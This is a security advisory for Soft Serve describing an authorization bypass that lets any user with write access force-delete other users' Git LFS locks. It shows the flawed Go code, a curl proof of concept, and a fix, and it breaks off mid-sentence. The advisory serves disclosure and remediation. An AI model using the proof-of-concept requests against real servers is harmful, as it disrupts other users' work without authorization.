GitHub Security Advisory: GHSA-6jm8-x3g6-r33j
Package: github.com/charmbracelet/soft-serve (GO)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 0.11.2
Patched in: 0.11.2

Summary: Soft Serve is missing an authorization check in LFS lock deletion

Details:
## LFS Lock Force-Delete Authorization Bypass

### Summary

An authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.

### Severity

- **CWE-863:** Incorrect Authorization
- **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`

### Affected Code

**File:** `pkg/web/git_lfs.go`
**Function:** `serviceLfsLocksDelete` (lines 831–945)
**Endpoint:** `POST /<repo>.git/info/lfs/locks/:lockID/unlock`

The control flow processes `req.Force` at line 905 before retrieving user context at line 919:

```go
// Line 905-916: Force delete executes immediately without authorization
if req.Force {
    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
        // ...
    }
    renderJSON(w, http.StatusOK, l)
    return  // Returns here, never reaching user validation
}

// Line 919: User context retrieved after force path has exited
user := proto.UserFromContext(ctx)
```

### Proof of Concept

**Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker).

1. **User A creates a lock:**
   ```bash
   curl -X POST http://localhost:23232/repo.git/info/lfs/locks \
     -H "Authorization: Basic <user_a_token>" \
     -H "Content-Type: application/vnd.git-lfs+json" \
     -d '{"path": "protected-file.bin"}'
   ```

2. **User B deletes User A's lock using force flag:**
   ```bash
   curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \
     -H "Authorization: Basic <user_b_token>" \
     -H "Content-Type: application/vnd.git-lfs+json" \
     -d '{"force": true}'
   ```

3. **Result:** Lock deleted successfully with `200 OK`. Expected: `403 Forbidden`.

### Suggested Fix

Retrieve user context and validate authorization before processing the force flag:

```go
user := proto.UserFromContext(ctx)
if user == nil {
    renderJSON(w, http.StatusUnauthorized, lfs.ErrorResponse{
        Message: "unauthorized",
    })
    return
}

if req.Force {
    if !user.IsAdmin() {
        renderJSON(w, http.StatusForbidden, lfs.ErrorResponse{
            Message: "admin access required for force delete",
        })
        return
    }
    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {
        // ...
    }
    renderJSON(w, http.StatusOK, l)
    return
}
```

### Impact

**Affected Deployments:** Soft Serve instances with LFS enabled and repositories with multiple collaborators.

**Exploitation Requirements:**
- Authenticated session
- Write access to target repository

**Consequences:**
- Unauthorized deletion of other users' locks
- Bypass of LFS file coordination mechanisms
- Potential workflow disruption in collaborative environments

**Limitations:** Does not grant file access, escalate repository permissi